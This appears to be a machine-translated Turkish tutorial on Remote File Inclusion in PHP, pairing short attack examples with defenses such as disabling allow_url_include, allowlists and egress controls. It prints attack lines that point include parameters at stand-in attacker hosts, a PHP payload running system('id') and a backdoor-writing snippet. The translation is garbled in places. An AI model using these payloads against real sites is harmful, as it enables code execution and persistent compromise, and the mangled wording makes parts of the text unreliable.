Uzaktan Dosya Ekleme (RFI), bir saldırganın savunmasız bir uygulama parametresi aracılığıyla uzak bir dosyayı (genellikle saldırganın kontrolündeki bir sunucuda barındırılan) yüklemesine ve çalıştırmasına olanak tanıyan bir web uygulaması güvenlik açığıdır. Gerçek dünyadaki olaylarda, RFI nadiren sadece "bir dosya ekleme hatasıdır"; genellikle ilk dayanak Bu da uzaktan kod yürütme, kimlik bilgilerinin çalınması, yanal hareket ve tam sistem tehlikesine yol açar. Mühendisler RFI'yi bir yüksek etkili, yüksek güvenilirlikli güvenlik açığı uygulama mümkün olduğunda.
Etiketler: uzaktan dosya ekleme, RFI güvenlik açığı, dosya ekleme saldırısı, web uygulaması güvenliği, OWASP Top 10, web istismarı
Uzaktan Dosya Ekleme Gerçekte Nedir (ve Neden Tehlikelidir)
Teknik düzeyde, RFI, bir uygulama dinamik olarak bir dosyayı aşağıdakilere dayalı olarak içerdiğinde ortaya çıkar güvenilmeyen kullanıcı girişi'den alınmasına izin verir ve bu dosyanın bir uzak konum (URL, harici sunucu, ağ paylaşımı).
Tipik savunmasız model:
php
include($_GET['sayfa']);
Çalışma zamanı ortamı uzaktan eklemelere izin veriyorsa, bir saldırgan şunları sağlayabilir:
YAKUT
sayfa=http://attacker.com/shell.txt
Yerel Dosya Eklemenin (LFI) aksine, RFI şunları sunar saldırgan tarafından kontrol edilen kodun doğrudan yürütme yoluna girmesiBu yüzden de sık sık tırmanışa geçiyor:
- Uzaktan Kod Yürütme (RCE)
- Webshell dağıtımı
- Arka kapı kalıcılığı
- Veri sızıntısı
Mühendislik riski perspektifinden bakıldığında, RFI neredeyse hiçbir zaman "düşük şiddette" değildir.

RFI vs LFI: Uzaktan Dahil Etme Neden Tehdit Modelini Değiştiriyor?
| Aspect | LFI | RFI |
|---|---|---|
| Dosya kaynağı | Yerel dosya sistemi | Uzak sunucu |
| Kod yürütme | Bazen dolaylı | Genellikle doğrudan |
| Güvenilirlikten yararlanın | Bağlama bağlı | İzin verilirse yüksek |
| Algılama aciliyeti | Orta-Yüksek | Yüksek Kritik |
En önemli fark: RFI belirsizliği ortadan kaldırır. Uygulama içerdiklerini çalıştırırsa, saldırgan yükü tamamen kontrol eder.
Modern Sistemlerde Uzaktan Dosya Ekleme Hala Nerede Görünüyor?
"Klasik" bir güvenlik açığı olmasına rağmen, RFI hala ortaya çıkmaktadır:
- Eski PHP uygulamaları
- Özel CMS veya eklenti sistemleri
- Kötü tasarlanmış şablon yükleyiciler
- Güvenlik incelemesine maruz kalmayan dahili araçlar
- Güvenli olmayan varsayılanlara sahip yanlış yapılandırılmış kapsayıcı görüntüleri
RFI "eski teknoloji" ile ilgili olmaktan çok güvenli olmayan dinamik yükleme modelleri modernizasyondan sağ çıkan.
Saldırı Örneği 1: Potansiyel RFI Enjeksiyon Noktasının Belirlenmesi
Yaygın bir keşif adımı, şablonları, dil dosyalarını veya sayfaları kontrol eden parametreleri tanımlamaktır.
http
GET /index.php?page=home HTTP/1.1 Ana bilgisayar: vulnerable.example.com
Bir saldırgan uzaktan dahil etmenin mümkün olup olmadığını test eder:
bash
/index.php?page=http://attacker.example.com/test.txt
Uygulama uzak kaynağı getirmeye veya yürütmeye çalışırsa RFI onaylanır.
Mühendislik paket servisi: Dosya yollarını kontrol eden herhangi bir parametre kusurlu girdiNiyeti ne olursa olsun.
Saldırı Örneği 2: Uzaktan Yük Barındırma (Minimal, Gözlemlenebilir)
Basit bir saldırgan yükü aşağıdaki gibi görünebilir (uzaktan barındırılan):
php
<?php echo "RFI_TEST_OK\\n";system("id");?>
Bu "ileri düzeyde istismar" değildir - doğrulamak için yeterlidir:
- Kod yürütme
- Yürütme bağlamı (kullanıcı, izinler)
- İşletim sistemi düzeyinde erişim
Bu basitlik tam da RFI'nin tehlikeli olmasının nedenidir.
Savunma Örneği 1: Çalışma Zamanı Düzeyinde Uzak Dosya Eklemeyi Devre Dışı Bırakma
PHP tabanlı sistemler için, uzaktan dosya ekleme çalışma zamanı yapılandırması tarafından kontrol edilir.
ini
allow_url_include = Kapalı allow_url_fopen = Kapalı
Bu tek kontrol, RFI saldırılarının tüm sınıflarını ortadan kaldırır uygulama mantığı değerlendirilmeden önce.
Mühendislik prensibi: Platform tehlikeli bir davranışı desteklemiyorsa, uygulama bunu yanlışlıkla etkinleştiremez.
Saldırı Örneği 3: Kalıcılığa Giriş Noktası Olarak RFI
RFI kod çalıştırmayı başardığında, saldırganlar genellikle kalıcı bir arka kapı bırakır:
php
<?php file_put_contents("backdoor.php",""); ?>
Süreklilik, RFI'yı tek seferlik bir hatadan bir devam eden ihlal.
Savunma Örneği 2: Dosya Ekleme için Sıkı İzin Listesi
Dinamik içerikler asla ham kullanıcı girdisini kabul etmemelidir.
Güvenli olmayan model:
php
include($_GET['sayfa'] . ".php");
Daha güvenli bir model:
php
$pages = ["home" => "home.php", "about" => "about.php"]; if (!array_key_exists($_GET['page'], $pages)) {http_response_code(404);exit; } include($pages[$_GET['page']]);
Bu, güvenilmeyen girdiyi bir kontrollü seçi̇mRFI'yi tamamen ortadan kaldırır.
Algılama: Mühendisler Kodda ve Çalışma Zamanında RFI'yi Gerçekte Nasıl Bulur?
Statik Kod İnceleme Sinyalleri
include(),require(),load(),eval()kullanıcı girdisini kullanarak- Dinamik yol çözünürlüğüne sahip şablon motorları
- Özel eklenti yükleyicileri
Çalışma Zamanı Sinyalleri
- Web sunucularından gelen giden HTTP istekleri
- Beklenmeyen DNS aramaları
- Harici içerik getiren web süreçleri
Saldırı Örneği 4: Ağ Gözlemi Yoluyla Çalışma Zamanı RFI'sini Algılama
Ana bilgisayarda basit bir algılama yöntemi:
bash
#Web sunucusu işleminden giden bağlantıları izleyin sudo lsof -i -n -P | grep apache
Bir web sunucusu beklenmedik bir şekilde harici URL'lere ulaşıyorsa, derhal araştırın.
Savunma Örneği 3: Ağ Çıkış Kontrollerini Zorlayın
Uygulama mantığı başarısız olsa bile, ağ kontrolleri saldırı zincirini kırabilir.
- Web sunucuları için giden internet erişimini engelleme
- Yalnızca gerekli dahili hedeflere izin verin
- Politika ihlallerini günlüğe kaydedin ve uyarın
Giden erişimi olmayan RFI genellikle tamamen başarısız olur.
OWASP ve Modern AppSec Bağlamında RFI
RFI açıkça kapsam dahilindedir:
- OWASP Top 10 (Enjeksiyon / Dosya Ekleme)
- PHP ve şablon motorları için güvenli kodlama yönergeleri
Modern AppSec programları RFI'yi şu şekilde ele alır:
- A tasarım hatasısadece bir hata değil
- Girdi doğrulama ve platform sağlamlaştırmada başarısızlık
- Eksik güvenli varsayılanların bir işareti

RFI Risklerinin Otomatik Test Edilmesi ve Doğrulanması
Manuel inceleme ölçeklenemez. Otomatik testler, şüpheli RFI yollarının istismar edilebilir olup olmadığının doğrulanmasına yardımcı olur.
Aşağıdakiler gibi otomatik sızma testi platformları Penligent Yapabilirsin:
- Dosya ekleme yollarını güvenli bir şekilde araştırın
- Yıkıcı yükler olmadan yürütmeyi doğrulayın
- İyileştirme için tekrarlanabilir kanıtlar üretin
Bu, "kod riskli görünüyor" ile "bu kesinlikle istismar edilebilir" arasındaki boşluğu doldurur.
RFI Sistemik Olarak Nasıl Düzeltilir (Sadece Yama Değil)
Sürdürülebilir bir RFI azaltma stratejisi şunları içerir:
- Çalışma zamanı sağlamlaştırma (uzaktan dahil etmeyi devre dışı bırakma)
- Katı girdi izin listeleri
- Şablon ve yükleyici yeniden tasarlandı
- Ağ çıkış kontrolleri
- Sürekli güvenlik testi
RFI ortadan kalkmalı mimarlık tarafındantekrarlanan yamalarla değil.
RFI'ı Canlı Tutan Yaygın Hatalar
- "Yalnızca dahili" parametrelere güvenme
- URL'ler için regex filtrelerine güvenme
- Çerçeve düzeyinde yapılandırmayı unutmak
- Sunuculardan gelen giden trafiği yok sayma
- RFI'nin "sadece miras" olarak ele alınması
Her büyük RFI olayı bu hatalardan en az birini içerir.
Sonuç
Uzaktan Dosya Ekleme, girdi doğrulama hatası ile tam sistem tehlikesi arasındaki mesafeyi daralttığı için en tehlikeli web güvenlik açıklarından biri olmaya devam etmektedir. Mühendisler için RFI'ye karşı savunma, yükleri ezberlemekle ilgili değildir güvenilmeyen girdilerin yürütülebilir yolları asla etkileyemeyeceği sistemler tasarlamak. Çalışma zamanı sertleştirme, sıkı izin listesi ve ağ kontrolleri birlikte çalıştığında, kod hata yapsa bile RFI istismar edilebilir olmaktan çıkar.

